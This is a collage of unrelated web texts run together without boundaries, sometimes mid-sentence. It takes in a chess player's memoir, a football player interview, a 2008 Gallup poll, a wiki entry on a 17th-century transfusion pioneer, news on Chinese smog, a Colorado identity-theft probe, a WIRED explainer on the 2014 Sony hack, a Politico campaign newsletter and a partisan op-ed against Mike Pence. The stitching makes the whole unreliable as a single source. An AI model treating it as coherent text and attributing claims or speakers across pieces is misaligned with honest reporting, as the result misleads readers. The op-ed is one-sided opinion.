When the new mid-year grades were announced about halfway through my quest, I had managed to add a few points – pulling myself up painfully to 136, an old codger’s grade if ever there was one. I was about to “celebrate” my 57th birthday – an age to consider retirement, not to set yourself improbable challenges. John Saunders liked to see the battle for chess excellence as a mountain to be climbed. I felt I was still struggling to find a route up from base camp. How on earth could I begin the ascent?
I had attached great importance to winning the Felce Cup – the annual championship for Surrey players graded under 140. I had somehow managed to make it to the final, against a likable Frenchman who played for Wimbledon. This was played over two games so we could reverse colours – playing with the white pieces confers a small advantage because you get first go and can, in theory, dictate the play. I won the first game with white, so all I needed in the second game to win the cup was a draw. As the big day approached, I told myself I needed to stay relaxed: if I wanted this too much and put pressure on myself, the likelihood was I would lose. Relaxed concentration – that’s what was required; an intense focus on the game, but sufficient mental flexibility to avoid freezing and to allow myself to know when to strike.
I took the day of the final game off, stayed in bed late and rested ahead of the evening encounter. Despite playing with the black pieces, I managed to get a small advantage by move 15. This seemed to provoke him, and he launched an unwise and premature thrust with his pawns. This was not his natural game – I had played him before and knew he was happier waiting for me to overreach myself – but he needed to win to force a play-off. He sacrificed a pawn for a speculative attack, I parried and launched a counter-attack, he failed to see how potent it was and, on move 31, faced with a simple three-move sequence that would force checkmate, he resigned. I was champion of the great, historic county of Surrey (brackets, division three). Now, at last, I had a large cup to fondle, polish, cherish.
After winning the Felce I felt wonderful, but there was still part of me that asked why I was doing this
After winning the Felce I felt wonderful, but there was still part of me that asked why I was doing this. Was chess really a pursuit worth wasting your life for? Was it a boon or a curse? The American writer, inventor and statesman Benjamin Franklin, a keen (though by all accounts not very good) player, believed it was the former, producing an essay titled “The Morals of Chess” (published in 1786 but written half a century earlier) which argued that it was good for the soul.
“The Game of Chess,” wrote Franklin, “is not merely an idle amusement. Several very valuable qualities of the mind, useful in the course of human life, are to be acquired or strengthened by it, so as to become habits, ready on all occasions. For life is a kind of chess, in which we have often points to gain, and competitors or adversaries to contend with, and in which there is a vast variety of good and ill events that are, in some degree, the effects of prudence or the want of it.” Franklin said chess taught you foresight, circumspection, caution and optimism.
Facebook Twitter Pinterest Contestants in the Four Nations Chess League tournament at Holiday Inn, Birmingham, in 2015. Photograph: John Robertson for the Guardian
More than two centuries later, former world champion Garry Kasparov wrote a self-help book based on the belief that chess offers signposts for life, titled How Life Imitates Chess. The game, he argued, was an “ideal instrument” for developing effective decision-making. “Psychology and intuition affect every aspect of our decisions and our results,” wrote Kasparov. “We must develop our ability to see the big picture, and deal with and learn from crises. Such decisive moments are turning points... we select
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care of his hair. He loves his hair. He takes pride in his look (laughs). It’s a lot of time and effort.
Q: I saw somewhere that you ran track in high school. The Olympics are coming up. You said you don’t watch a lot of TV, but will you watch track and field at the Olympics?
A: Oh, definitely. I’m going for Jamaica. People don’t really know, but I’m from Jamaica. I was born there and left when I was nine. So I can pull for Usain Bolt and it’s not a bandwagon thing. It’s an honest pull.
Q: It’s not an Olympic sport, but your bio on the Lions’ website says you’re into deep-sea fishing. What’s the appeal for you: battling to reel in a big fish, or just having a relaxing day on the water?
A: Definitely having a day to get away and relax and reflect. It’s usually me and my brothers and sometimes our dad will come, too. It’s a great way to spend time with family.
Q: What’s been your best day fishing?
A: One weekend last year, my brother and I caught 52 snappers. Fifty-two! My dad didn’t believe us when we brought them home. He thought we went to the supermarket. We started at 5 in the morning and didn’t finish until 6 at night.
Q: We’re talking about catches. You’re playing Montreal this week and your first CFL interception came against the Alouettes last season. What do you remember about the play?
A: All I remember was everybody was getting interceptions and I was like, “I have to get one.” I was reading the quarterback and noticed he was looking to my side and looking deep. So I just took off. The ball came and in my head I was like, “This is mine,” and I went and got it.
Q: I know that when you’re finished playing football, you want to get involved with helping underprivileged youth. Why is that important to you?
A: Where I’m from, and some of the areas where I went to school (Fort Lauderdale, Fla.), it’s a high-poverty area and the way my coach used to teach me was you’ve always got to give back. So I want to become a coach and show them the way I was taught. Every summer in college, I worked for a non-profit organization called the Martha O’Bryan Center and they work in high-poverty areas doing a lot of things for the community and helping the kids out.
Q: Do you feel like you’re making a difference when you’ve had the chance to work with kids?
A: I feel I am. When they actually see it in front of them, that I’m not just a guy from Vanderbilt, but I came from the same type of area they come from and see that I’ve made a way for myself, they see that they can too. Once a kid can physically see that in front of them, they’re going to feel the same way that they can make it out as well.
Q: I imagine helping kids became even more important to you when you became a father yourself. How old is your daughter?
A: She’s two. She turns three in October and she’s in Dallas with her mother. I’m on FaceTime with her all the time. She’s great. And she’s growing up so fast.PRINCETON, NJ -- The latest Gallup Poll Daily tracking update finds a precise tie between John McCain and Barack Obama, with 45% of nationwide registered voters currently supporting each candidate for president.
The two have been closely matched in Gallup Poll Daily tracking for the last 11 days, with neither candidate enjoying a statistically significant lead (though Obama has typically held a slim advantage). Thus, the candidates enter this intense, back-to-back convention period even, after Obama enjoyed a slight advantage throughout the summer. The National Democratic Convention begins Monday in Denver with the Republicans' convention begins Sept. 1 in Minneapolis. (To view the complete trend since March 7, 2008, click here.)
On Saturday, after much speculation, Obama finally named his vice presidential running mate, Delaware Sen. Joe Biden. Initial public reaction to Biden's selection appears rather unenthusiastic, according to a special Biden reaction poll conducted by USA Today and Gallup on Saturday.
Typically, presidential candidates have gotten a bump in the polls after naming their vice presidential running mate. Obama apparently received no immediate benefit in the polls from naming Biden as Gallup Poll Daily tracking interviews conducted during the day on Saturday still showed Obama and McCain closely matched in voter preferences for president.
The first Gallup three-day rolling average in which all interviews will have been conducted entirely after the announcement of Obama's vice presidential selection will be reported by Gallup on Tuesday, and will give a clearer assessment of its impact on voter preferences in the presidential race. -- Jeff Jones
Survey Methods
For the Gallup Poll Daily tracking survey, Gallup is interviewing no fewer than 1,000 U.S. adults nationwide each day during 2008.
The general-election results are based on combined data from Aug. 21-23, 2008. For results based on this sample of 2,625 registered voters, the maximum margin of sampling error is ±2 percentage points.
Interviews are conducted with respondents on land-line telephones (for respondents with a land-line telephone) and cellular phones (for respondents who are cell-phone only).
In addition to sampling error, question wording and practical difficulties in conducting surveys can introduce error or bias into the findings of public opinion polls.
To provide feedback or suggestions about how to improve Gallup.com, please e-mail [email protected] Denys (1643 – 3 October 1704) was a French physician[1] notable for having performed the first fully documented human blood transfusion, a xenotransfusion. He studied in Montpellier and was the personal physician to King Louis XIV.
Jean-Baptiste Denys
Attempts to transfuse blood [ edit ]
Denys administered the first fully documented human blood transfusion on June 15, 1667.[2] He transfused about twelve ounces of sheep blood into a 15-year-old boy, who had been bled with leeches 20 times. The boy survived the transfusion.[1] Denys performed another transfusion into a labourer, who also survived. Both instances were likely due to the small amount of blood that was actually transfused into these people, which allowed them to withstand the allergic reaction. Denys' third patient to undergo a blood transfusion was Swedish Baron Gustaf Bonde. He received two transfusions, and died after the second.[3] In the winter of 1667, Denys administered transfusions of calf's blood to Antoine Mauroy, a madman. Mauroy died during the third transfusion.[4] Much controversy surrounded his death. Mauroy's wife asserted Denys was responsible for her husband's death, and Denys was charged with murder. He was acquitted, and Mauroy's wife was accused of causing his death. After the trial, Denys quit the practice of medicine.[5] It was later determined that Mauroy actually died from arsenic poisoning. Denys' experiments with animal blood provoked a heated controversy in France,[3] and in 1670 the procedure was banned. It wasn't until after Karl Landsteiner's discovery of the four blood groups in 1902 that blood transfusions became safe and reliable. Denys—the man who boldly championed transfusion against all odds—invented styptic, used to stop mild bleeding. If he was not able to ensure his legacy by making blood flow, he would do it by making blood stop entirely. Denys died in 1704 at the age of sixty-nine.[6]
Further reading [ edit ]
Tucker, Holly (2012). Blood Work: A Tale of Medicine and Murder in the Scientific Revolution. W. W. Norton & Company. ISBN 978-0393342239.
References [ edit ]A man wearing a respiratory protection mask walks toward an office building during smog in Beijing Thomson Reuters BEIJING (Reuters) - Near-record pollution levels in parts of China this week proved a two-edged sword for the country's e-commerce titans: orders poured in for anti-smog products, but transport restrictions meant it was a challenge to get these delivered.
Up to 50 million orders in north China alone face delivery delays due to grounded planes, closed highways and traffic bans, a spokeswoman for Alibaba Holding Group Ltd told Reuters, citing affiliate Cainiao Network Technology Co Ltd, which oversees China's largest logistics firms.
Online shoppers splurged on masks, filters and other anti-pollution gadgets, with e-commerce firms and brands reporting record demand in response to'red alert' warnings in 24 cities by mid-week.
"In one day of red alert you'll probably do a month's sales," said Liam Bates, founder of Beijing-based Origins Technology Ltd, which makes air pollution monitors and air filters.
"But of course no one knows when the pollution will be really, really crazy, so it makes logistics a bit of a nightmare."
A consortium of delivery firms under Cainiao Logistics includes ZTO Express Inc, Shanghai YTO Express (Logistics) Co, Shanghai STO Express Co and Yunda Ltd - all of which posted delay warnings on their websites this week.
The red alert is the top warning in a four-tier system that triggers a series of regulations, including the closure of schools, factories and offices, and a blanket ban on up to half the vehicles in affected cities. The system was introduced in 2014 as part of a national effort to reconcile China's industrial engine with growing pressure from health groups.
The alerts in two dozen cities this week told citizens to stay indoors as air quality index (AQI) readings topped the maximum hazardous limit determined by the World Health Organization, and shrouded northeast China in thick smog.
A spokesman for JD.com, China's second-largest e-commerce platform, said orders peaked this week as consumers opted to stay at home. The number of pollution masks sold on the platform during the red alert more than trebled from last week, and sales of air filters rose 50 percent.
"Purchasing does happen in spikes around high pollution days", said Ben Cavender, a Shanghai-based retail analyst at China Market Research Group. "[Consumers] tend to make their actual purchases when they get the visual reminder of stepping outside and realizing they can't see."
According to Baidu, China's top search engine, searches including the term for'smog' broke previous records on Monday.
Sold Out
It's the same consumer concern that has driven a surge in connected gadgets and consumables in the Chinese market, many of which see record sales during red alert events.
"The volume of people clicking our ads is about 30 times higher during smog periods," said a brand director at Beijing Public Technology Co, who gave only his family name of Liu.
He said the company, which makes ionic air cleaning devices for indoor use that can be worn as badges or necklaces, had to initiate an emergency stock transfer program after inventory was entirely sold out on Tuesday.
Some merchants said sales spikes on red alert days suggests people don't fully understand the year-round dangers of air pollution.
"There's still this issue in China that when there are alerts or the air gets really, really bad then everyone freaks out, but the other 90 percent of the time only a small percentage of people care," said Bates at Origins Technology.
As pollution levels eased slightly on Thursday, and some red alerts were canceled, some consumers took to social media to complain about the logistics delays.
"The face mask I ordered is delayed because of slow deliveries, and now the haze is vanishing," said one user on Weibo. "I guess I'll just save it for the next alert.
(Reporting by Cate Cadell; Editing by Ian Geoghegan)Since October, 40 people have been arrested on identity theft or criminal impersonation charges. Sixty-five additional arrest warrants have been issued, and District Attorney Ken Buck said many more would be coming.
“I don’t care whether they are meth addicts or petty thieves or illegal immigrants,” Mr. Buck said. “What matters most to me is that they are committing felonies through identify theft.”
The campaign is causing concern at the I.R.S., which says illegal immigrants paid almost $50 billion in taxes from 1996 to 2003, and among immigrants’ rights groups, which call the operation a thinly disguised attempt to root out illegal immigrants.
“For years, they said immigrants don’t pay taxes and are a burden on our system,” said Julie Gonzales, the political coordinator for the Colorado Immigrant Rights Coalition.
Late last Monday, the American Civil Liberties Union of Colorado filed a lawsuit in State District Court here arguing that by seizing and retaining confidential tax information, the Weld County authorities had violated privacy rights of thousands of taxpayers.
“If the sheriff and the D.A. can comb through thousands of records in a tax preparer’s office on the theory that some of their clients are doing something wrong, then none of our confidential information is safe,” said Mark Silverstein, the legal director for the group.
Mr. Buck said all information from the investigation would be kept confidential.
Both sides agree that the issue has exposed a hole in federal immigration policy. Since 1996, the I.R.S. has distributed about 15 million Individual Taxpayer Identification Numbers to enable people without Social Security numbers to pay taxes. Many illegal immigrants also buy fake or stolen Social Security numbers on the black market to show to potential employers.
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While not commenting specifically about the Colorado operation, an I.R.S. spokesman, Frank Keith, said, “We are concerned when information provided by taxpayers to meet their legal tax obligations is used for purposes other than federal tax administration.”
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Sheriff Cooke said the federal policy was tantamount to “the government turning its back on victims of identity theft.”
If a stolen or false Social Security number is used only to get work, “there is no negative impact on the rightful owner,” said a Social Security Administration spokesman, Mark Hinkle; but it can wreak financial havoc if used to gain access to bank accounts or to obtain credit cards.
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Sheriff Cooke said the Greeley investigation began last August when a Texas man contacted the authorities here and said he had been notified by the Social Security Administration that someone was using his Social Security number in Weld County.
Investigators traced the number to Servando Trejo, who according to a search warrant told them he was in the United States illegally and had bought the number. Mr. Trejo said he paid income taxes through Ms. Cerrillo’s office, the warrant said.
Ms. Cerrillo is not facing charges.
Sheriff Cooke blames the I.R.S. “They know the Social Security numbers are stolen,” he said, “and they choose to ignore it.”
Some illegal immigrants hope that the payment of taxes in compliance with federal laws will benefit them if and when Congress addresses the immigration issue. But Marielena Hincapié, executive director of the National Immigration Law Center in Los Angeles, said the crackdown had put illegal immigrants in a bind: if they pay their taxes, they risk exposure to immigration authorities.
“It cuts at the bedrock of confidentiality of tax law, whose central tenet is that people come forward and report their income,” Ms. Hincapié said.
The investigation has had a chilling impact on immigrants in Greeley, advocates say. A man who asked to be identified only as Jose because he is in the country illegally said he had filed taxes with the dream of one day becoming a citizen.
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Jose said that he was arrested late last year for using a false Social Security number he bought in Denver and that he now faces prison and deportation.
“You try and do the right thing,” Jose said of paying taxes, “and it seems they’re using it as an excuse to take people out of the country.”
Mr. Buck, though, said the cases stemming from the inquiry are about identity theft, not immigration. District attorneys in the Southwest, he said, have called to ask about his tactics.
“Am I apologetic for spreading fear amongst people committing felonies?” Mr. Buck said. “No.”Editors' note, 2:30 p.m. ET 12/04/14: After further reporting, we have updated the sections "How Did This Hack Occur?" and "Was Data Destroyed or Just Stolen?" with new information about the nature of the attack and malware used in it.
Who knew that Sony's top brass, a line-up of mostly white male executives, earn $1 million and more a year? Or that the company spent half a million this year in severance costs to terminate employees? Now we all do, since about 40 gigabytes of sensitive company data from computers belonging to Sony Pictures Entertainment were stolen and posted online.
As so often happens with breach stories, the more time that passes the more we learn about the nature of the hack, the data that was stolen and, sometimes, even the identity of the culprits behind it. A week into the Sony hack, however, there is a lot of rampant speculation but few solid facts. Here's a look at what we do and don't know about what's turning out to be the biggest hack of the year—and who knows, maybe of all time.
Who Did It?
Most of the headlines around the Sony hack haven't been about what was stolen but rather who's behind it. A group calling itself GOP, or Guardians of Peace, has taken responsibility. But who they are is unclear. The media seized on a comment made to one reporter by an anonymous source that North Korea might be behind the hack. The motive? Retaliation for Sony's yet-to-be-released film The Interview, a Seth Rogen and James Franco comedy about an ill-conceived CIA plot to kill North Korean leader Kim Jong-un.
James Franco and Seth Rogen in a scene from The Interview. Ed Araquel/Columbia Pictures
If that sounds outlandish, that's because it likely is. The focus on North Korea is weak and easily undercut by the facts. Nation-state attacks don't usually announce themselves with a showy image of a blazing skeleton posted to infected machines or use a catchy nom-de-hack like Guardians of Peace to identify themselves. Nation-state attackers also generally don't chastise their victims for having poor security, as purported members of Guardians of Peace have done in media interviews.
Nor do such attacks result in posts of stolen data to Pastebin—the unofficial cloud repository of hackers everywhere—where sensitive company files purportedly belonging to Sony were leaked this week.
We've been here before with nation-state attributions. Anonymous sources told Bloomberg earlier this year that investigators were looking at the Russian government as the possible culprit behind a hack of JP Morgan Chase. The possible motive in that case was retaliation for sanctions against the Kremlin over military actions against Ukraine. Bloomberg eventually walked back from the story to admit that cybercriminals were more likely the culprits. And in 2012, U.S. officials blamed Iran for an attack called Shamoon that erased data on thousands of computers at Saudi Aramco, Saudi Arabia's national oil company. No proof was offered to back the claim, but glitches in the malware used for the attack showed it was less likely a sophisticated nation-state attack than a hacktivist assault against the oil conglomerate's policies.
The likely culprits behind the Sony breach are hacktivists—or disgruntled insiders—angry at the company's unspecified policies. One media interview with a person identified as a member of Guardians of Peace hinted that a sympathetic insider or insiders aided them in their operation and that they were seeking "equality." The exact nature of their complaints about Sony are unclear, though the attackers accused Sony of greedy and "criminal" business practices in interviews, without elaborating.
Sony Pictures Entertainment headquarters in Culver City, Calif. on December 2, 2014. Nick Ut/AP
Similarly, in a cryptic note posted by Guardians of Peace on hacked Sony machines, the attackers indicated that Sony had failed to meet their demands, but didn't indicate the nature of those demands. "We've already warned you, and this is just the beginning. We continue till our request be met."
One of the purported hackers with the group told CSO Online that they are "an international organization including famous figures in the politics and society from several nations such as United States, United Kingdom and France. We are not under direction of any state."
The person said the Seth Rogen film was not the motive for the hack but that the film is problematic nonetheless in that it exemplifies Sony's greed. "This shows how dangerous film The Interview is," the person told the publication. "The Interview is very dangerous enough to cause a massive hack attack. Sony Pictures produced the film harming the regional peace and security and violating human rights for money. The news with The Interview fully acquaints us with the crimes of Sony Pictures. Like this, their activity is contrary to our philosophy. We struggle to fight against such greed of Sony Pictures."
How Long Had Sony Been Breached Before Discovery?
It's unclear when the hack began. One interview with someone claiming to be with Guardians for Peace said they had been siphoning data from Sony for a year. Last Monday, Sony workers became aware of the breach after an image of a red skull suddenly appeared on screens company-wide with a warning that Sony's secrets were about to be spilled. Sony's Twitter accounts were also seized by the hackers, who posted an image of Sony CEO Michael Lynton in hell.
News of the hack first went public when someone purporting to be a former Sony employee posted a note on Reddit, along with an image of the skull, saying current employees at the company had told him their email systems were down and they had been told to go home because the company's networks had been hacked. Sony administrators reportedly shut down much of its worldwide network and disabled VPN connections and Wi-Fi access in an effort to control the intrusion.
How Did the Hack Occur?
This is still unclear. Most hacks like this begin with a phishing attack, which involve sending emails to employees to get them to click on malicious attachments or visit web sites where malware is surreptitiously downloaded to their machines. Hackers also get into systems through vulnerabilities in a company's web site that can give them access to backend databases. Once on an infected system in a company's network, hackers can map the network and steal administrator passwords to gain access to other protected systems on the network and hunt down sensitive data to steal.
New documents released by the attackers yesterday show the exact nature of the sensitive information they obtained to help them map and navigate Sony's internal networks. Among the more than 11,000 newly-released files are hundreds of employee usernames and passwords as well as RSA SecurID tokens and certificates belonging to Sony—which are used to authenticate users and systems at the company—and information detailing how to access staging and production database servers, including a master asset list mapping the location of the company's databases and servers around the world. The documents also include a list of routers, switches, and load balancers and the usernames and passwords that administrators used to manage them.
All of this vividly underscores why Sony had to shut down its entire infrastructure after discovering the hack in order to re-architect and secure it.
What Was Stolen?
The hackers claim to have stolen a huge trove of sensitive data from Sony, possibly as large as 100 terabytes of data, which they are slowly releasing in batches. Judging from data the hackers have leaked online so far this includes, in addition to usernames, passwords and sensitive information about its network architecture, a host of documents exposing personal information about employees. The leaked documents include a list of employee salaries and bonuses; Social Security numbers and birth dates; HR employee performance reviews, criminal background checks and termination records; correspondence about employee medical conditions; passport and visa information for Hollywood stars and crew who worked on Sony films; and internal email spools.
All of these leaks are embarrassing to Sony and harmful and embarrassing to employees. But more importantly for Sony's bottom line, the stolen data also includes the script for an unreleased pilot by Vince Gilligan, the creator of Breaking Bad as well asfull copies of several Sony films, most of which have not been released in theaters yet. These include copies of the upcoming films Annie, Still Alice and Mr. Turner. Notably, no copy of the Seth Rogen flick has been part of the leaks so far.
Was Data Destroyed or Just Stolen?
Initial reports have focused only on the data stolen from Sony. But news of an FBI flash alert released to companies this week suggests that the attack on Sony might have included malware designed to destroy data on its systems.
The five-page FBI alert doesn't mention Sony, but anonymous sources told Reuters that it appears to refer to malware used in the Sony hack. "This correlates with information... that many of us in the security industry have been tracking," one of the sources said. "It looks exactly like information from the Sony attack."
The alert warns about malware capable of wiping data from systems in such an effective way as to make the data unrecoverable.
"The FBI is providing the following information with HIGH confidence," the note reads, according to one person who received it and described it to WIRED. "Destructive malware used by unknown computer network exploitation (CNE) operators has been identified. This malware has the capability to overwrite a victim host’s master boot record (MBR) and all data files. The overwriting of the data files will make it extremely difficult and costly, if not impossible, to recover the data using standard forensic methods."
The FBI memo lists the names of the malware's payload files—usbdrv3_32bit.sys and usbdrv3_64bit.sys.
WIRED spoke with a number of people about the hack and have confirmed that at least one of these payloads was found on Sony systems.
So far there have been no news reports indicating that data on the Sony machines was destroyed or that master boot records were overwritten. A Sony spokeswoman only indicated to Reuters that the company has “restored a number of important services.”
But Jaime Blasco, director of labs at the security firm AlienVault, examined samples of the malware and told WIRED it was designed to systematically search out specific servers at Sony and destroy data on them.
Blasco obtained four samples of the malware, including one that was used in the Sony hack and was uploaded to the VirusTotal web site. His team found the other samples using the "indicators of compromise," aka IOC, mentioned in the FBI alert. IOC are the familiar signatures of an attack that help security researchers discover infections on customer systems, such as the IP address malware uses to communicate with command-and-control servers.
According to Blasco, __ the sample uploaded to VirusTotal contains a hard-coded list that names 50 internal Sony computer systems based in the U.S. and the UK that the malware was attacking, as well as log-in credentials it used to access them.__ The server names indicate the attackers had extensive knowledge of the company's architecture, gleaned from the documents and other intelligence they siphoned. The other malware samples don't contain references to Sony's networks but do contain the same IP addresses the Sony hackers used for their command-and-control servers. Blasco notes that the file used in the Sony hack was compiled on November 22. Other files he examined were compiled on November 24 and back in July.
The sample with the Sony computer names in it was designed to systematically connect to each server on the list. "It contains a user name and password and a list of internal systems and it connects to each of them and wipes the hard drives [and deletes the master boot record]," says Blasco.
Notably, to do the wiping, the attackers used a driver from a commercially-available product designed to be used by system administrators for legitimate maintenance of systems. The product is called RawDisk and is made by Eldos. The driver is a kernel-mode driver used to securely delete data from hard drives or for forensic purposes to access memory.
The same product was used in similarly destructive attacks in Saudi Arabia and South Korea. The 2012 Shamoon attack against Saudi Aramco wiped data from about 30,000 computers. A group calling itself the Cutting Sword of Justicetook credit for the hack. "This is a warning to the tyrants of this country and other countries that support such criminal disasters with injustice and oppression," they wrote in a Pastebin post. "We invite all anti-tyranny hacker groups all over the world to join this movement. We want them to support this movement by designing and performing such operations, if they are against tyranny and oppression."
Then last year, a similar attack struck computers at banks and media companies in South Korea. The attack used a logic bomb, set to go off at a specific time, that wiped computers in a coordinated fashion. The attack wiped the hard drives and master boot record of at least three banks and two media companies simultaneously, reportedly putting some ATMs out of operation and preventing South Koreans from withdrawing cash from them. South Korea initially blamed China for the attack, but later retracted that allegation.
Blasco says there's no evidence that the same attackers behind the Sony breach were responsible for the attacks in Saudi Arabia or South Korea.
"Probably it's not the same attackers but just [a group that] replicated what other attackers did in the past," he says.
All four of the files Blasco examined appear to have been compiled on a machine that was using the Korean language—which is one of the reasons people have pointed a finger at North Korea as the culprit behind the Sony attack. Essentially this refers to what's called the encoding language on a computer—computer users can set the encoding language on their system to the language they speak so content renders in their language. __ The fact that the encoding language on the computer used to compile the malicious files appears to be Korean, however, is not a true indication of its source since an attacker can set the language to anything he wants and, as Blasco points out, can even manipulate information about the encoded language after a file is compiled.__
"I don't have any data that can tell me if North Korea is behind it... the only thing is the language but... it's really easy to fake this data," Blasco says.Inside the scheme to rip off Trump donors
OFF BRAND: Ian Hawes is collecting money in the name of DONALD TRUMP. Just one problem: He has no affiliation with the Republican’s presidential campaign.
POLITICO’s Shane Goldmacher reports: “At a glance, the two websites look virtually indistinguishable. Both feature a photo of Donald Trump, in a suit and red tie, in front of a giant American flag. Both seemingly offer a chance for two to win dinner with Donald Trump.
Story Continued Below
One is at donaldjtrump.com; the other is at dinnerwithtrump.org. The first belongs to Trump’s campaign. The second is a scheme run by Ian Hawes, a 25-year-old Maryland man who has no affiliation with Trump or his campaign and who has preyed on more than 20,000 unsuspecting donors, collecting more than $1 million in the process.” Read more at: http://politi.co/2bxcbOy
Happy Monday. It’s your 2016 Blast. Have dinner with us any time, free of charge. Well, you pay your way, we’ll pay ours. Deal? Henry C. Jackson (@henrycjjackson) is here to guide you through today’s campaign news, so please send your tips, complaints and favorite meals to: [email protected].
2) FRONT-RUNNER: HILLARY CLINTON is up 7 percentage points in a new national poll of likely voters — the most recent poll to confirm Clinton has carved out a consistent lead on DONALD TRUMP, POLITICO’s Steve Shepard reports. “The Monmouth University poll, conducted last Thursday through Sunday, shows Clinton leading Trump 46 percent to 39 percent. Former New Mexico Gov. Gary Johnson, the Libertarian candidate, is at 7 percent, and Green Party candidate Jill Stein, who isn’t on the ballot in a number of states, garners 2 percent. Another 6 percent of likely voters are undecided or said they prefer another candidate.” http://politi.co/2bVdDPa
BLAST NOTE: Polls like this are why some operatives wonder if Trump is already out of time.
3) BRAND MANAGEMENT: DONALD TRUMP’s strategy to diminish HILLARY CLINTON may have consequences, win or lose, POLITICO’s Edward-Isaac Dovere reports. “The Clinton delegitimization project is now central to DONALD TRUMP’s campaign and such a prime component of right-wing media that it’s already seeped beyond extremist chat rooms. … The Clinton campaign has deliberately positioned its response as an offensive boomerang rather than a rebuttal: Don’t defend against the attacks, just redirect fire at the messenger.” Clinton supporters argue it’s the same approach that Republicans tried to use against Obama in 2008 and beyond. http://politi.co/2bz6EHE
4) MENTAL HEALTH: HILLARY CLINTON released a sweeping mental health plan on Monday, POLITICO’s Nick Gass reports. It includes a “call to convene a White House conference on the issue during her first year in office. ‘Recognizing that nearly a fifth of all adults in the United States — more than 40 million people — are coping with a mental health problem, Hillary’s plan will integrate our mental and physical health care systems,’ the Democratic nominee's campaign said in a statement. ‘Her goal is that within her time in office, Americans will no longer separate mental health from physical health when it comes to access to care or quality of treatment.’” http://politi.co/2bx4MUf
5) MOTORING: DONALD TRUMP is continuing to court minority voters with a trip to Detroit. Trump will travel to the Motor City this weekend to talk with the president and CEO of the only African-American-owned and -operated national Christian television network. He “will appear at Great Faith Ministries, a church in the heart of the city, and be interviewed by Impact Network President and CEO and Bishop Wayne T. Jackson, the campaign said in a statement from surrogate Mark Burns, a pastor who set up a meeting between the candidate and Jackson.” http://politi.co/2c9GuzF
Meanwhile, Trump continued a blunt appeal to minority voters today — arguing on Twitter that he can reign in urban violence and wondering how much more violence there would need to be in cities in order for minority voters to accept him. "Look how bad it is getting!" Trump tweeted. "How much more crime, how many more shootings, will it take for African-Americans and Latinos to vote Trump=SAFE!" http://politi.co/2bx8jSs
TRAIL MIX: In today’s campaign news, Huma Abedin has had enough. BERNIE SANDERS still bothers a prominent HILLARY CLINTON ally. Debate prep is in full swing. Exploring why candidates eschew the press. Protesters hit TIM KAINE’s church. DONALD TRUMP’s doctor’s note is questioned and a David Duke robocall is disavowed.
PERSONAL ISSUES: One of HILLARY CLINTON’s closest aides, Huma Abedin, announced today she was separating from her husband, disgraced Rep. Anthony Weiner, after a fresh report of him sending inappropriate messages to other women.
STILL BERNS: HILLARY CLINTON friend Neera Tanden says she feels like BERNIE SANDERS went harder after Clinton than Barack Obama did in 2008.
INSIDE PREP: TIME looks at how HILLARY CLINTON and DONALD TRUMP are preparing for the debate.
FAIR QUESTION: A columnist for Vanity Fair looks at why HILLARY CLINTON is avoiding press conferences and whether it is a savvy tactic or a defense mechanism.
CHURCH PROTEST: There was a small protest outside of TIM KAINE’s church in Virginia by Catholic priests angry over his stance on social issues. (WTVR)
DOCTOR DOCTOR: HILLARY CLINTON’s campaign has issues with DONALD TRUMP’s note from his doctor attesting to his fine physical condition.
DUKE OUT: DONALD TRUMP’s campaign disavows a David Duke robocall.
PRETTY PLEASE? The Republican National Committee says the Clinton Foundation should just release all of its emails to the State Department.
THEY SAID IT: “No. There’s no reason to do that. They all know me. Everybody in Arizona really knows me unless they just moved in.” — Arizona Sen. John McCain, explaining why he won’t make a general election turn against DONALD TRUMP. http://politi.co/2bMPg5P
MAGIC NUMBER: 28. That’s the number of days until the first presidential debate.
FOLLOW @POLITICO’S politics team: @PoliticoCharlie, @POLITICO_Steve, @PoliticoAlex, @anniekarni, @GlennThrush, @EliStokols, @katieglueck, @schreckreports, @gdebenedetti, @Hadas_Gold, @ec_schneider, @kyledcheney, @theodoricmeyer, @MarcACaputo, @PoliticoKevin,@mikeallen, @dlippman, @Danielstrauss4, @henrycjjackson, @shanegoldmacher, @KristinPolitico, @PoliticoScott, @Patrick_C_Reis
There you go — now you’re caught up on the 2016 race. TBNR. We’ll see you tomorrow.Please note this contest concluded on April 30th, 2015. Stay tuned for more giveaways!
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state lost $60 million in revenue because of RFRA. After spending $365,500 of a $750,000 contract with the firm, his administration canceled the contract. State officials have never shared what we got for the money or why they canceled the contract. Many Hoosiers speculate that the PR firm suggested that the best way to show we don't discriminate against LGBT people would be to actually not discriminate. That is unacceptable to Pence.
Besides being anti-LGBT his entire public career, Pence has governed in other ways that many consider un-Christian. He was opposed to needle exchanges because he believed they supported drug abuse. In 2015, several rural counties in Indiana experienced an unprecedented spread of HIV because the governor opposed the distribution of clean needles. Eventually he allowed clean needles, but many involved in the crisis felt that the governor could have acted faster and done more.
His record concerning women is abysmal. He believes and governs in a way that says women have no rights and can't make decisions about their bodies and health. Again, misplaced conservative religious values guide his policies. He has fought against Planned Parenthood because a small percentage of its work is performing abortions, he has tried to defund the organization and close clinics. He has advocated and signed antiwomen laws including a recent one (struck down by the courts before it could go into effect) prohibiting some abortions and requiring aborted fetuses to be buried or cremated. In response, some women organized “Periods for Pence,” letting him know whether or not they are pregnant, since he seems to be so concerned about women's reproductive lives.
He tried to institute a state-run media outlet (yes, in the United States) so citizens would get the “correct” (as defined by Pence) spin on the news. When news of this plan broke, Indiana residents went ballistic. Pence finally killed the program.
Pence started his term with a large budget surplus. He tried to keep a big surplus — in my opinion, so he would look good in an eventual presidential run — so he was reluctant to spend money on needed programs. Budgets were cut to such a degree that many state workers quit because they could not get anything done. The roads got so bad that one interstate bridge sank and was closed for months. There were detours and accidents. He finally had to agree to spend some money so we would have at least usable roads in Indiana. Our slogan is “Crossroads of America.” We barely have usable roads.
Pence lost in court when challenged on another very un-Christian move, as he fought the settlement of Syrian refugees in Indiana. A federal court blasted him as it overturned Pence’s orders.
Pence’s policies have hurt LGBT people. They have hurt minorities and women. What would Jesus say to a follower who hurts people in his name? What would he say to someone defending and apologizing for a misogynist, racist, and otherwise bigoted candidate in his name?
Pence called for Christian forgiveness of Trump for his “locker-room talk” and other failings, but offered no such forgiveness for Hillary Clinton’s use of a private email server or deleting personal emails. He applies Christian love and forgiveness only to those he considers to be on his side, especially if the election of one such person would put Pence a heartbeat from the presidency.
Pence had to leave the ticket for reelection as governor seat to join Trump in the presidential race. At the time that he left, he was lagging in polls regarding the Indiana race. Hoosiers are glad Pence is gone, but we also don’t want him to become a national “leader” who he can inflict his misguided beliefs on the rest of the country.
